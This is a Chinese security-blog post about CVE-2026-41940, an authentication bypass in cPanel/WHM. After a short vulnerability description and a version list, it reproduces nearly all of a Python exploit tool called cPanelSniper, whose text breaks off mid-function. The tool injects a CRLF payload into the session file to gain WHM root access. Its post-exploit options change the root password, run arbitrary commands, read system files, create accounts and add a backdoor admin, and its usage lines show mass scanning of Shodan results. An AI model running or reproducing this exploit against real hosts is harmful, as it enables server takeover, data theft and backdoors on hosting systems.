首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-41940|cPanel/WHM登录流程认证绕过漏洞(POC)

CVE-2026-41940|cPanel/WHM登录流程认证绕过漏洞(POC)

作者头像
信安百科
发布2026-05-08 16:51:18
发布2026-05-08 16:51:18
2030
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

cPanel&WHM是一套基于Linux系统的主机管理组合,由cPanel公司开发,是全球主机托管行业广泛使用的管理工具。

其中cPanel是面向终端用户的虚拟主机管理面板,用户可通过图形化界面轻松完成网站文件管理、邮箱账户配置、数据库操作、域名绑定解析等一系列建站相关操作,无需精通Linux命令;

WHM(Web Host Manager)则是面向服务器管理员或主机分销商的服务器管理面板,具备创建与管理多个cPanel账户、设置主机资源配额、配置服务器安全策略、编译Apache等服务器组件、管理DNS区域记录等高级功能,能实现对服务器及旗下所有虚拟主机账户的集中管控。

0x01 漏洞描述

漏洞源于登录流程中的会话加载与保存机制存在逻辑缺陷。 攻击者通过 Basic认证头在密码字段注入CRLF字符,并利用缺少ob(对象)部分的会话cookie避免密码编码,从而将恶意键值对写入原始会话文件。 随后触发token_denied流程,使系统重新解析该文件并将注入的hasroot=1、user=root等记录提升至JSON缓存,最终绕过密码验证获得管理员权限。 —— ——来源于网络

0x02 CVE编号

CVE-2026-41940

0x03 影响版本

代码语言:javascript
复制
cPanel&WHM 11.86.* < 11.86.0.41
cPanel&WHM 11.110.* < 11.110.0.97
cPanel&WHM 11.118.* < 11.118.0.63
cPanel&WHM 11.126.* < 11.126.0.54
cPanel&WHM 11.130.* < 11.130.0.18
cPanel&WHM 11.132.* < 11.132.0.29
cPanel&WHM 11.134.* < 11.134.0.20
cPanel&WHM 11.136.* < 11.136.0.5
WP Squared 11.136.* < 11.136.1.7

0x04 漏洞详情

POC:

https://github.com/ynsmroztas/cPanelSniper

代码语言:javascript
复制
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
cPanelSniper.py — CVE-2026-41940 cPanel & WHM Auth Bypass Scanner
Author  : Mitsec (@ynsmroztas)
Version : 2.0

CVE-2026-41940: Session-File CRLF Injection → WHM Root Authentication Bypass
  saveSession() calls filter_sessiondata() AFTER writing the session file.
  CRLF chars in the Authorization Basic header poison the on-disk session with
  attacker-controlled fields (hasroot=1, tfa_verified=1, etc.)

Exploit Chain (4 stages):
  [0] Auto-discover canonical hostname via /openid_connect/cpanelid 307
  [1] POST /login/?login_only=1  wrong creds → preauth session cookie
  [2] GET /  + CRLF-poisoned Authorization: Basic → session file poisoned
  [3] GET /scripts2/listaccts   → triggers do_token_denied gadget (raw→cache flush)
  [4] GET /{{token}}/json-api/version  → 200 + version = ROOT ACCESS CONFIRMED

Post-Exploit:
  --action passwd   → Change root password via WHM API
  --action cmd      → Execute arbitrary commands via /json-api/scripts/exec
  --action adduser  → Create new WHM account
  --action list     → List all cPanel accounts

Affected  : cPanel & WHM < 11.110.0.97 / 11.118.0.63 / 11.126.0.54 /
                           11.132.0.29 / 11.134.0.20 / 11.136.0.5
Fixed     : filter_sessiondata() moved before session write in Session.pm
CVSS      : 10.0 Critical | In-the-wild exploitation confirmed (Apr 2026)

Usage:
  python3 cPanelSniper.py -u https://target.com:2087
  python3 cPanelSniper.py -u https://target.com:2087 --action list
  python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd Mitsec@2026!
  python3 cPanelSniper.py -l targets.txt -t 20 -o results.json
  cat urls.txt | python3 cPanelSniper.py
  subfinder -d target.com | httpx -p 2087 -silent | python3 cPanelSniper.py
  shodan search --fields ip_str,port 'title:"WHM Login"' | \\
    awk '{print "https://"$1":"$2}' | python3 cPanelSniper.py -t 30

stdlib only — no pip required.
"""

import sys, os, re, json, ssl, signal, argparse, threading, time
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from urllib.parse import (urlsplit, quote, unquote, urlencode,
                           urlparse, parse_qs)
from collections import defaultdict
import urllib.request, urllib.error

# ══════════════════════════════════════════════════════════════
#  COLORS
# ══════════════════════════════════════════════════════════════
class C:
    RED    = "\033[91m"; GREEN  = "\033[92m"; YELLOW = "\033[93m"
    BLUE   = "\033[94m"; PURPLE = "\033[95m"; CYAN   = "\033[96m"
    BOLD   = "\033[1m";  DIM    = "\033[2m";  RESET  = "\033[0m"
    ORANGE = "\033[38;5;208m"

LOG_LOCK   = threading.Lock()
PRINT_LOCK = threading.Lock()

def ts():
    return datetime.now().strftime("%H:%M:%S")

def log(level, msg, target=""):
    icons = {
        "CRIT":  f"{C.RED}{C.BOLD}[CRIT]{C.RESET}",
        "HIGH":  f"{C.RED}[HIGH]{C.RESET}",
        "INFO":  f"{C.BLUE}[INFO]{C.RESET}",
        "OK":    f"{C.GREEN}[  OK]{C.RESET}",
        "ERR":   f"{C.DIM}[ ERR]{C.RESET}",
        "SKIP":  f"{C.DIM}[SKIP]{C.RESET}",
        "SCAN":  f"{C.PURPLE}[SCAN]{C.RESET}",
        "STEP":  f"{C.CYAN}[{level:>4}]{C.RESET}",
        "PWNED": f"{C.RED}{C.BOLD}[PWND]{C.RESET}",
        "WARN":  f"{C.YELLOW}[WARN]{C.RESET}",
        "API":   f"{C.ORANGE}[ API]{C.RESET}",
    }.get(level, f"[{level:>4}]")
    t = f" {C.DIM}{target}{C.RESET}" if target else ""
    with LOG_LOCK:
        print(f"{C.DIM}{ts()}{C.RESET} {icons} {msg}{t}", file=sys.stderr, flush=True)

def safe_print(msg):
    with PRINT_LOCK:
        print(msg, flush=True)

def banner():
    print(f"""{C.ORANGE}{C.BOLD}
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ██║     ██████╔╝███████║██╔██╗██║█████╗  ██║
  ██║     ██╔═══╝ ██╔══██║██║╚████║██╔══╝  ██║
  ╚██████╗██║     ██║  ██║██║ ╚███║███████╗███████╗
   ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚══╝╚══════╝╚══════╝{C.RESET}
{C.BOLD}███████╗███╗  ██╗██╗██████╗ ███████╗██████╗{C.RESET}
{C.BOLD}██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗{C.RESET}
{C.BOLD}███████╗██╔██╗██║██║██████╔╝█████╗  ██████╔╝{C.RESET}
{C.BOLD}╚════██║██║╚████║██║██╔═══╝ ██╔══╝  ██╔══██╗{C.RESET}
{C.BOLD}███████║██║ ╚███║██║██║     ███████╗██║  ██║{C.RESET}
{C.BOLD}╚══════╝╚═╝  ╚══╝╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝{C.RESET}
{C.CYAN}  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection{C.RESET}
{C.DIM}  4-stage: preauth → CRLF inject → propagate → verify → post-exploit{C.RESET}
{C.RED}  In-The-Wild | CVSS 10.0 | By Mitsec (@ynsmroztas){C.RESET}
""")

# ══════════════════════════════════════════════════════════════
#  CRLF PAYLOAD
# ══════════════════════════════════════════════════════════════
# Decodes to:
#   root:x\r\n
#   successful_internal_auth_with_timestamp=9999999999\r\n
#   user=root\r\n
#   tfa_verified=1\r\n
#   hasroot=1
# Fields written directly into the session file, bypassing auth check
PAYLOAD_B64 = (
    "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
    "OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)

# Patched versions
PATCHED = {
    "110": ("11.110.0.97",  97),
    "118": ("11.118.0.63",  63),
    "126": ("11.126.0.54",  54),
    "132": ("11.132.0.29",  29),
    "134": ("11.134.0.20",  20),
    "136": ("11.136.0.5",    5),
}

# ══════════════════════════════════════════════════════════════
#  HTTP ENGINE  — stdlib, raw Set-Cookie access preserved
# ══════════════════════════════════════════════════════════════
class _SSLCtx:
    _ctx = None
    @classmethod
    def get(cls):
        if not cls._ctx:
            c = ssl.create_default_context()
            c.check_hostname = False
            c.verify_mode    = ssl.CERT_NONE
            try: c.set_ciphers("DEFAULT:@SECLEVEL=1")
            except: pass
            cls._ctx = c
        return cls._ctx

BASE_UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
           "AppleWebKit/537.36 (KHTML, like Gecko) "
           "Chrome/146.0.0.0 Safari/537.36")

class R:
    """Thin response wrapper"""
    def __init__(self, status, body, headers, url, raw_cookies=""):
        self.status      = status
        self.body        = body
        self.headers     = headers         # lowercase keys, last value wins
        self.url         = url
        self.raw_cookies = raw_cookies     # raw Set-Cookie header(s)

    def h(self, k, default=""):
        return self.headers.get(k.lower(), default)

    def location(self):
        return self.h("location")

    def raw_cookie(self, name):
        """Extract raw (URL-encoded) value of named cookie from Set-Cookie"""
        for line in self.raw_cookies.split("\n"):
            if line.lower().startswith(name.lower() + "="):
                v = line.split("=", 1)[1].split(";", 1)[0].strip()
                return v
        return ""

class _NoRedir(urllib.request.HTTPErrorProcessor):
    def http_response(self, req, r): return r
    https_response = http_response

def _do(url, method="GET", extra_headers=None, data=None, timeout=15,
        follow=False, canonical_host=None):
    parsed = urlparse(url)
    h = {
        "User-Agent": BASE_UA,
        "Accept":     "*/*",
        "Connection": "close",
    }
    # Spoof Host to canonical if provided (avoids redirect loops)
    if canonical_host:
        port = parsed.port or (443 if parsed.scheme=="https" else 80)
        h["Host"] = f"{canonical_host}:{port}" if port not in (80,443) \
                    else canonical_host
    if extra_headers:
        h.update(extra_headers)

    body_bytes = None
    if data:
        if isinstance(data, dict):
            body_bytes = urlencode(data).encode()
            h.setdefault("Content-Type", "application/x-www-form-urlencoded")
        elif isinstance(data, str):
            body_bytes = data.encode()
        else:
            body_bytes = data

    if follow:
        opener = urllib.request.build_opener(
            urllib.request.HTTPSHandler(context=_SSLCtx.get()))
    else:
        opener = urllib.request.build_opener(
            urllib.request.HTTPSHandler(context=_SSLCtx.get()), _NoRedir())
    opener.addheaders = []

    try:
        req = urllib.request.Request(url, data=body_bytes,
                                     headers=h, method=method)
        with opener.open(req, timeout=timeout) as resp:
            body_bytes_out = resp.read()
            body     = body_bytes_out.decode("utf-8", errors="replace")
            rh       = {}
            raw_ck   = []
            for k, v in resp.headers.items():
                rh[k.lower()] = v
                if k.lower() == "set-cookie":
                    raw_ck.append(v)
            return R(resp.status, body, rh, resp.url, "\n".join(raw_ck))
    except urllib.error.HTTPError as e:
        try:    body = e.read().decode("utf-8", errors="replace")
        except: body = ""
        rh     = {k.lower(): v for k,v in e.headers.items()} if hasattr(e,"headers") else {}
        raw_ck = []
        if hasattr(e, "headers"):
            for k,v in e.headers.items():
                if k.lower() == "set-cookie":
                    raw_ck.append(v)
        return R(e.code, body, rh, url, "\n".join(raw_ck))
    except Exception as ex:
        return R(0, str(ex), {}, url, "")

# ══════════════════════════════════════════════════════════════
#  TARGET PARSING
# ══════════════════════════════════════════════════════════════
def parse_target(url: str) -> tuple:
    if "://" not in url:
        url = "https://" + url
    u = urlsplit(url.rstrip("/"))
    scheme = u.scheme or "https"
    host   = u.hostname or url
    port   = u.port or 2087
    return scheme, host, port

def build_url(scheme, host, port, path):
    if (scheme == "https" and port == 443) or (scheme == "http" and port == 80):
        return f"{scheme}://{host}{path}"
    return f"{scheme}://{host}:{port}{path}"

def is_version_patched(version: str):
    m = re.match(r"11\.(\d+)\.(\d+)\.(\d+)", version)
    if not m:
        return None
    branch, patch, build = m.group(1), int(m.group(2)), int(m.group(3))
    if branch in PATCHED:
        _, patched_build = PATCHED[branch]
        return build >= patched_build
    return None

# ══════════════════════════════════════════════════════════════
#  STAGE 0 — Canonical hostname discovery
# ══════════════════════════════════════════════════════════════
def stage0_canonical(scheme, host, port, timeout) -> str:
    """
    cpsrvd 307s to the correct hostname when our Host is wrong.
    GET /openid_connect/cpanelid → Location: https://<real-host>:port/...
    """
    url  = build_url(scheme, host, port, "/openid_connect/cpanelid")
    resp = _do(url, timeout=timeout, follow=False)
    loc  = resp.location()
    m    = re.match(r"^https?://([^:/]+)", loc)
    if m:
        canonical = m.group(1)
        log("INFO", f"Canonical hostname discovered: {canonical}")
        return canonical
    return host  # fallback

# ══════════════════════════════════════════════════════════════
#  STAGE 1 — Mint preauth session
# ══════════════════════════════════════════════════════════════
def stage1_preauth(scheme, host, port, canonical, timeout) -> str:
    """
    POST /login/?login_only=1  wrong creds → 401 + whostmgrsession cookie.
    Session name extracted from raw Set-Cookie (before %2C / comma).
    """
    url  = build_url(scheme, host, port, "/login/?login_only=1")
    resp = _do(url, method="POST",
               data={"user": "root", "pass": "wrong"},
               timeout=timeout,
               canonical_host=canonical)

    if resp.status not in (200, 401):
        log("ERR", f"Stage1: unexpected status {resp.status}")
        return None

    # Get raw Set-Cookie to preserve URL-encoding
    raw_ck = resp.raw_cookie("whostmgrsession")
    if not raw_ck:
        # Fallback: check header directly
        raw_ck = resp.h("set-cookie")
        m = re.search(r'whostmgrsession=([^;,\s]+)', raw_ck, re.IGNORECASE)
        raw_ck = m.group(1) if m else ""

    if not raw_ck:
        log("ERR", "Stage1: no whostmgrsession cookie received")
        return None

    # URL-decode to get :SessionName,ObHex format
    decoded = unquote(raw_ck)

    # Strip the ",<obhex>" tail — this makes the encoder skip pass in stage2
    if "," in decoded:
        session_base = decoded.split(",", 1)[0]
    else:
        session_base = decoded

    log("OK", f"Stage1: preauth session = {session_base[:35]}...", "")
    return session_base

# ══════════════════════════════════════════════════════════════
#  STAGE 2 — CRLF injection
# ══════════════════════════════════════════════════════════════
def stage2_inject(scheme, host, port, canonical, session_base, timeout) -> str:
    """
    GET /  with CRLF-poisoned Authorization: Basic header.
    cpsrvd reads Basic auth value, writes it into session file → CRLF fields injected.
    Response: 307 Location: /cpsessXXXXXXXXXX/...
    """
    cookie_enc = quote(session_base)
    url  = build_url(scheme, host, port, "/")
    resp = _do(url, method="GET",
               extra_headers={
                   "Authorization": f"Basic {PAYLOAD_B64}",
                   "Cookie":        f"whostmgrsession={cookie_enc}",
               },
               timeout=timeout,
               canonical_host=canonical)

    loc = resp.location()
    m   = re.search(r"/cpsess(\d{10})", loc)
    if not m:
        log("ERR", f"Stage2: no /cpsess token in redirect (HTTP {resp.status})")
        if loc:
            log("WARN", f"Stage2: Location={loc[:80]}")
        return None

    token = f"/cpsess{m.group(1)}"
    log("OK", f"Stage2: HTTP {resp.status} → token={token}")
    return token

# ══════════════════════════════════════════════════════════════
#  STAGE 3 — Propagate (do_token_denied gadget)
# ══════════════════════════════════════════════════════════════
def stage3_propagate(scheme, host, port, canonical, session_base, timeout) -> bool:
    """
    GET /scripts2/listaccts fires the do_token_denied internal gadget.
    This flushes the raw session file into the session cache — without this
    step the injected fields are not yet active.
    Expected: 401 with "Token denied" or "WHM Login" in body.
    """
    cookie_enc = quote(session_base)
    url  = build_url(scheme, host, port, "/scripts2/listaccts")
    resp = _do(url, method="GET",
               extra_headers={"Cookie": f"whostmgrsession={cookie_enc}"},
               timeout=timeout,
               canonical_host=canonical)

    body = resp.body or ""
    if resp.status == 401 and any(x in body for x in
                                   ["Token denied", "WHM Login", "login"]):
        log("OK", f"Stage3: HTTP {resp.status} — do_token_denied gadget fired")
        return True

    # Accept 200 too — some configs show the page instead
    if resp.status in (200, 301, 302, 307):
        log("OK", f"Stage3: HTTP {resp.status} — propagation likely fired")
        return True

    log("WARN", f"Stage3: unexpected HTTP {resp.status} — continuing anyway")
    return True  # don't abort — sometimes this step behaves differently

# ══════════════════════════════════════════════════════════════
#  STAGE 4 — Verify WHM root access
# ══════════════════════════════════════════════════════════════
def stage4_verify(scheme, host, port, canonical, session_base, token, timeout) -> dict:
    """
    GET /{{token}}/json-api/version → 200 + version data = auth bypass confirmed.
    Also accepts 500/503 with "License" (past auth, license-gated only).
    """
    cookie_enc = quote(session_base)
    url  = build_url(scheme, host, port, f"{token}/json-api/version")
    resp = _do(url, method="GET",
               extra_headers={"Cookie": f"whostmgrsession={cookie_enc}"},
               timeout=timeout,
               canonical_host=canonical)

    body = (resp.body or "").strip()
    log("INFO", f"Stage4: HTTP {resp.status}  {body[:100]}")

    if resp.status == 200 and '"version"' in body:
        version = ""
        m = re.search(r'"version"\s*:\s*"([^"]+)"', body)
        if m:
            version = m.group(1)
        return {"confirmed": True, "version": version, "body": body[:600]}

    # License-gated but auth passed
    if resp.status in (500, 503) and "License" in body:
        return {"confirmed": True, "version": "unknown (license-gated)",
                "body": body[:300]}

    return {"confirmed": False}

# ══════════════════════════════════════════════════════════════
#  WHM API CALLER
# ══════════════════════════════════════════════════════════════
def whm_api(scheme, host, port, canonical, session_base, token,
            function, params, timeout):
    """Call authenticated WHM JSON API"""
    cookie_enc = quote(session_base)
    qs = "api.version=1"
    for k, v in params.items():
        if v is not None:
            qs += f"&{quote(str(k))}={quote(str(v))}"
    path = f"{token}/json-api/{function}?{qs}"
    url  = build_url(scheme, host, port, path)
    resp = _do(url, method="GET",
               extra_headers={"Cookie": f"whostmgrsession={cookie_enc}"},
               timeout=timeout,
               canonical_host=canonical)
    log("API", f"{function} → HTTP {resp.status}")
    try:
        j = json.loads(resp.body)
        return resp.status, j
    except Exception:
        return resp.status, resp.body

# ══════════════════════════════════════════════════════════════
#  POST-EXPLOIT ACTIONS
# ══════════════════════════════════════════════════════════════
def action_list_accounts(ctx):
    """List all cPanel accounts"""
    log("API", "Listing all cPanel accounts...")
    s, data = whm_api(*ctx[:6], "listaccts", {"search": "", "searchtype": "user"}, ctx[6])
    if isinstance(data, dict):
        accts = data.get("data", {}).get("acct", [])
        if accts:
            log("OK", f"Found {len(accts)} cPanel accounts:")
            for a in accts:
                safe_print(f"  {C.GREEN}  user={a.get('user','?'):20s} "
                           f"domain={a.get('domain','?'):30s} "
                           f"email={a.get('email','?')}{C.RESET}")
        else:
            safe_print(str(data)[:1000])
    else:
        safe_print(str(data)[:1000])

def action_change_passwd(ctx, new_password):
    """Change root password"""
    log("API", f"Changing root password → {new_password}")
    s, data = whm_api(*ctx[:6], "passwd",
                      {"user": "root", "password": new_password}, ctx[6], ctx[-1])
    safe_print(json.dumps(data, indent=2)[:800] if isinstance(data, dict)
               else str(data)[:800])

def action_exec_cmd(ctx, cmd):
    """Execute OS command via WHM exec API"""
    log("API", f"Executing command: {cmd}")
    s, data = whm_api(*ctx[:6], "scripts/exec",
                      {"command": cmd}, ctx[6])
    if isinstance(data, dict):
        output = data.get("data", {}).get("output",
                 data.get("metadata", {}).get("reason", str(data)))
        safe_print(f"\n{C.GREEN}{output}{C.RESET}")
    else:
        safe_print(str(data)[:800])

def action_server_info(ctx):
    """Get server info via multiple lightweight endpoints"""
    log("API", "Gathering server info (license-safe endpoints)...")
    scheme, host, port, canonical, session_base, token, timeout = ctx

    info = {}
    for ep, params, label in [
        ("gethostname",    {},           "hostname"),
        ("loadavg",        {},           "load"),
        ("getdiskinfo",    {},           "disk"),
        ("getmysqlhost",   {},           "mysql_host"),
        ("listresellers",  {},           "resellers"),
        ("version",        {},           "version"),
    ]:
        s, data = whm_api(*ctx[:6], ep, params, timeout)
        if s == 200 and isinstance(data, dict):
            r = data.get("data", data.get("result", data))
            info[label] = r
            log("API", f"  {ep} → {C.GREEN}OK{C.RESET}")
        else:
            log("API", f"  {ep} → HTTP {s}")

    safe_print(f"\n{C.CYAN}[Server Info]{C.RESET}  {scheme}://{host}:{port}")
    safe_print(json.dumps(info, indent=2, default=str)[:2000])

def action_exec_cmd(ctx, cmd: str):
    """
    Execute OS command via multiple WHM/cPanel exec methods.
    Falls through methods until one works.
    """
    scheme, host, port, canonical, session_base, token, timeout = ctx
    cookie_enc = quote(session_base)
    log("API", f"Executing: {cmd}")

    # Method 1: WHM json-api/scripts/exec
    s, data = whm_api(*ctx[:6], "scripts/exec", {"command": cmd}, timeout)
    if s == 200 and isinstance(data, dict):
        output = (data.get("data", {}).get("output") or
                  data.get("output") or str(data))
        if output and "Cannot Read License" not in str(output):
            safe_print(f"\n{C.GREEN}{output}{C.RESET}")
            return

    # Method 2: WHM cpsess + cpanel API2 Fileman (reads files)
    # Method 3: Direct perl/cgi via WHM
    log("API", "scripts/exec gated — trying alternative exec methods...")

    # Method 3: WHM cpanel jsonapi exec
    for ep in [
        f"{token}/json-api/cpanel?cpanel_jsonapi_module=Exec"
          f"&cpanel_jsonapi_func=exec&command={quote(cmd)}",
        f"{token}/execute/Exec/exec?command={quote(cmd)}",
    ]:
        url = build_url(scheme, host, port, ep)
        r2 = _do(url, extra_headers={"Cookie": f"whostmgrsession={cookie_enc}"},
                 timeout=timeout)
        log("API", f"  {ep[:40]} → HTTP {r2.status}")
        if r2.status == 200 and r2.body and "Cannot Read License" not in r2.body:
            safe_print(f"\n{C.GREEN}{r2.body[:800]}{C.RESET}")
            return

    # Method 4: Direct HTTP file read attempts
    log("API", "Exec blocked by license — trying direct file reads...")
    cookie_enc2 = quote(session_base)
    for fpath in ["/etc/passwd", "/etc/hostname", "/proc/version", "/etc/os-release"]:
        for ep in [
            f"{token}/json-api/cpanel?cpanel_jsonapi_module=Fileman&cpanel_jsonapi_func=viewfile&dir=/&file={quote(fpath)}",
            f"{token}/execute/Fileman/get_file_content?dir=%2F&file={quote(fpath.lstrip('/'))}",
        ]:
            url = build_url(scheme, host, port, ep)
            r3 = _do(url, extra_headers={"Cookie": f"whostmgrsession={cookie_enc2}"}, timeout=timeout)
            if r3.status == 200 and r3.body and len(r3.body) > 10 and "Cannot Read License" not in r3.body:
                safe_print(f"\n  {C.CYAN}[{fpath}]{C.RESET}")
                safe_print(f"  {C.GREEN}{r3.body[:400]}{C.RESET}")
                return
    log("API", f"License blocks all exec on this target — version confirmed via /json-api/version")

def action_read_file_direct(ctx, path: str) -> str:
    """Read file directly via WHM filemanager API"""
    scheme, host, port, canonical, session_base, token, timeout = ctx
    cookie_enc = quote(session_base)
    for ep in [
        f"{token}/json-api/cpanel?cpanel_jsonapi_module=Fileman"
          f"&cpanel_jsonapi_func=viewfile&dir=/&file={quote(path)}",
        f"{token}/execute/Fileman/get_file_content?dir=/&file={quote(path)}",
        f"{token}/../..{path}",
    ]:
        url = build_url(scheme, host, port, ep)
        r = _do(url,
            extra_headers={"Cookie": f"whostmgrsession={cookie_enc}"},
            timeout=timeout)
        if r.status == 200 and r.body and len(r.body) > 5:
            return r.body
    return ""

def action_read_file(ctx, path: str):
    """Read arbitrary file via WHM API (if permitted)"""
    log("API", f"Reading file: {path}")
    s, data = whm_api(*ctx[:6], "getlocalpackage", {"package": path}, ctx[6])
    safe_print(json.dumps(data, indent=2)[:1500] if isinstance(data, dict)
               else str(data)[:1500])

def action_create_user(ctx, username: str, domain: str, passwd: str):
    """Create new cPanel account"""
    log("API", f"Creating account: {username} / {domain}")
    s, data = whm_api(*ctx[:6], "createacct",
                      {"username": username, "domain": domain,
                       "password": passwd, "plan": "default"}, ctx[6],
                      ctx[-1])
    safe_print(json.dumps(data, indent=2)[:800] if isinstance(data, dict)
               else str(data)[:800])

def action_version(ctx):
    """Get cPanel version"""
    s, data = whm_api(*ctx[:6], "version", {}, ctx[6])
    safe_print(json.dumps(data, indent=2)[:600] if isinstance(data, dict)
               else str(data)[:600])

# ══════════════════════════════════════════════════════════════
#  FINDINGS
# ══════════════════════════════════════════════════════════════
class Store:
    _SEV = {"CRIT": 0, "HIGH": 1, "MED": 2, "INFO": 3}
    def __init__(self):
        self._f = []; self._seen = set(); self._lock = threading.Lock()
    def add(self, f):
        k = f"{f.get('target','')}::{f.get('version','')}"
        with self._lock:
            if k in self._seen: return
            self._seen.add(k); self._f.append(f)
    def all(self):
        return sorted(self._f, key=lambda x: self._SEV.get(x.get("severity","INFO"),9))
    def count(self):
        c = defaultdict(int)
        for f in self._f: c[f.get("severity","INFO")] += 1
        return dict(c)

STORE = Store()

# ══════════════════════════════════════════════════════════════
#  MAIN SCANNER
# ══════════════════════════════════════════════════════════════
def scan(target: str, args) -> dict:
    if "://" not in target:
        target = "https://" + target
    target = target.rstrip("/")
    result = {"target": target, "vuln": False}

    log("SCAN", "Starting 4-stage exploit chain...", target)

    scheme, host, port = parse_target(target)
    timeout = args.timeout

    # ── Stage 0: Canonical hostname ────────────────────────────
    canonical = args.hostname or stage0_canonical(scheme, host, port, timeout)
    if not canonical:
        canonical = host
    log("INFO", f"Canonical: {canonical}")

    # ── Stage 1: Preauth session ────────────────────────────────
    log("STEP", "Stage 1/4 — Minting preauth session...")
    session_base = stage1_preauth(scheme, host, port, canonical, timeout)
    if not session_base:
        log("ERR", "Stage 1 failed — aborting", target)
        return result

    # ── Stage 2: CRLF injection ─────────────────────────────────
    log("STEP", "Stage 2/4 — CRLF injection via Authorization header...")
    token = stage2_inject(scheme, host, port, canonical, session_base, timeout)
    if not token:
        log("ERR", "Stage 2 failed — target may be patched", target)
        return result

    # ── Stage 3: Propagate (raw → cache flush) ──────────────────
    log("STEP", "Stage 3/4 — Firing do_token_denied gadget (raw→cache)...")
    stage3_propagate(scheme, host, port, canonical, session_base, timeout)

    # ── Stage 4: Verify WHM root access ─────────────────────────
    log("STEP", "Stage 4/4 — Verifying WHM root access...")
    verify = stage4_verify(scheme, host, port, canonical,
                           session_base, token, timeout)

    if not verify.get("confirmed"):
        log("ERR", "Stage 4 failed — auth bypass did not land", target)
        return result

    # ── CONFIRMED ────────────────────────────────────────────────
    version = verify.get("version", "unknown")
    patched = is_version_patched(version)
    pnote   = ""
    if patched is True:
        pnote = f" {C.YELLOW}(v{version} — may be patched, verify manually){C.RESET}"
    elif patched is False:
        pnote = f" {C.RED}(v{version} — CONFIRMED vulnerable){C.RESET}"

    log("PWNED",
        f"CVE-2026-41940 CONFIRMED — WHM root access! {pnote}", target)
    log("PWNED", f"  Token    : {token}")
    log("PWNED", f"  Session  : {session_base[:40]}...")
    log("PWNED", f"  Version  : {version}")
    log("PWNED", f"  API URL  : {build_url(scheme,host,port,token+'/json-api/version')}")

    finding = {
        "severity":   "CRIT",
        "title":      "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
        "target":     target,
        "canonical":  canonical,
        "session":    session_base,
        "token":      token,
        "version":    version,
        "api_url":    build_url(scheme, host, port, f"{token}/json-api/version"),
        "evidence":   verify.get("body","")[:400],
        "cve":        "CVE-2026-41940",
        "cvss":       "10.0",
        "timestamp":  datetime.now().isoformat(),
    }
    STORE.add(finding)
    result["vuln"]     = True
    result["finding"]  = finding
    result["ctx"]      = (scheme, host, port, canonical,
                          session_base, token, timeout)

    # ── Post-Exploit Actions ─────────────────────────────────────
    if args.action and len(args.target_list) == 1:
        ctx = result["ctx"]
        a = args.action.lower()
        log("API", f"Running post-exploit action: {a}")
        if a == "list":
            action_list_accounts(ctx)
        elif a == "passwd" and args.passwd:
            action_change_passwd(ctx, args.passwd)
        elif a == "cmd" and args.cmd:
            action_exec_cmd(ctx, args.cmd)
        elif a == "info":
            action_server_info(ctx)
        elif a == "version":
            action_version(ctx)
        elif a in ("cmd", "exec"):
            cmd = args.cmd or "id;whoami;uname -a"
            action_exec_cmd(ctx, cmd)
        elif a == "adduser":
            nu = getattr(args, "new_user", None)
            nd = getattr(args, "new_domain", None)
            np = args.passwd or "TempPass2026!"
            if nu and nd:
                action_create_user(ctx, nu, nd, np)
            else:
                log("ERR", "--new-user and --new-domain required for adduser")
        elif a == "shell":
            whm_shell(ctx)
        else:
            log("WARN", f"Unknown action '{a}' or missing required arg")

    return result

# ══════════════════════════════════════════════════════════════
#  SUMMARY
# ══════════════════════════════════════════════════════════════
def print_summary(elapsed: float, total: int):
    findings = STORE.all()
    W = 70
    print(f"\n{C.BOLD}{'═'*W}{C.RESET}")
    print(f"{C.BOLD}  cPanelSniper — CVE-2026-41940 Scan Complete{C.RESET}")
    print(f"  {C.DIM}Time: {elapsed:.1f}s  ·  Targets: {total}{C.RESET}")
    print(f"{'─'*W}")
    if not findings:
        print(f"  {C.DIM}No vulnerable targets found.{C.RESET}")
    else:
        print(f"\n  {C.RED}{C.BOLD}⚡ {len(findings)} VULNERABLE TARGET(S){C.RESET}\n")
        for f in findings:
            print(f"  {C.RED}{C.BOLD}Target   :{C.RESET} {f['target']}")
            print(f"  {C.CYAN}Version  :{C.RESET} {f['version']}")
            print(f"  {C.CYAN}Token    :{C.RESET} {f['token']}")
            print(f"  {C.GREEN}API URL  :{C.RESET} {f['api_url']}")
            print(f"  {C.DIM}Session  : {f['session'][:45]}...{C.RESET}")
            ev = f.get("evidence","")[:200].replace("\n"," ")
            print(f"  {C.GREEN}Evidence : {ev}{C.RESET}\n")
    print(f"{'═'*W}{C.RESET}\n")

def save_output(findings, out_file):
    os.makedirs(os.path.dirname(out_file) if os.path.dirname(out_file) else ".", exist_ok=True)
    with open(out_file, "w", encoding="utf-8") as f:
        json.dump({"scanner":"cPanelSniper v2.0","cve":"CVE-2026-41940",
                   "timestamp": datetime.now().isoformat(),
                   "findings": findings}, f, indent=2, ensure_ascii=False)
    log("OK", f"Results → {out_file}")


# ══════════════════════════════════════════════════════════════
#  INTERACTIVE WHM SHELL
# ══════════════════════════════════════════════════════════════
def whm_shell(ctx):
    """
    Interactive WHM shell — mitsec@target ▶ prompt.
    Supports WHM API calls and file reading.
    Commands:
      id / whoami / hostname / version  → server info
      ls [path]                         → file listing (fileman)
      cat [path]                        → file read (fileman)
      accounts                          → list cPanel accounts
      addadmin <user> <pass>            → add backdoor admin
      passwd <newpass>                  → change root password
      help                              → show commands
      exit / quit                       → exit shell
    """
    scheme, host, port, canonical, session_base, token, timeout = ctx
    target_display = canonical or f"{host}:{port}"

    print(f"\n{C.RED}{C.BOLD}{'═'*60}{C.RESET}")
    print(f"{C.RED}{C.BOLD}  WHM Shell — {target_display}{C.RESET}")
